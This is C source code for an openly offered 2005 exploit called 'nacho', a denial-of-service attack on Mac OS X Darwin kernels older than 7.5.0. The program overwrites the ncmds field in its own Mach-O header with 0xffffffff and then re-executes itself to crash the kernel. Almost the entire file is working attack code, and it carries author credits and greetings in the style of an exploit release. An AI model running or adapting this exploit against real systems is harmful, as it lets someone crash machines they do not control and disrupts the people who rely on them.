//---------------------( fm-nacho.c )--------------------------
/*
 * DoS for Darwin Kernel Version < 7.5.0
 * -(nemo@pulltheplug.org)-
 * 2005
 *
 * greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
 * irc.pulltheplug.org (#social)
 */

#include <stdio.h>

int main(int ac, char **av)
{
        FILE *me;
        int rpl = 0xffffffff;
        fpos_t pos = 0x10;
        printf("-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n");
        printf("-( nemo@pulltheplug.org )-\n\n");
        printf("[+] Opening file for writing.\n");
        if(!(me = fopen(*av,"r+"))) {
                printf("[-] Error opening exe.\n");
                exit(1);
        }
        printf("[+] Seeking to ncmds.\n");
        if((fsetpos(me,&pos)) == -1) {
                printf("[-] Error seeking to ncmds.\n");
                exit(1);
        }
        printf("[+] Changing ncmds to 0x%x.\n",rpl);
        if(fwrite(&rpl,4,1,me) < 1) {
                printf("[-] Error writing to file.\n");
                exit(1);
        }
        fclose(me);
        printf("[+] Re-executing with modified mach-o header.\n");
        sleep(5);
        if(execv(*av,av) == -1 ) {
                printf("[-] Error executing %s, please run manually.\n",*av);
                exit(1);
        }
        exit(0); // hrm
}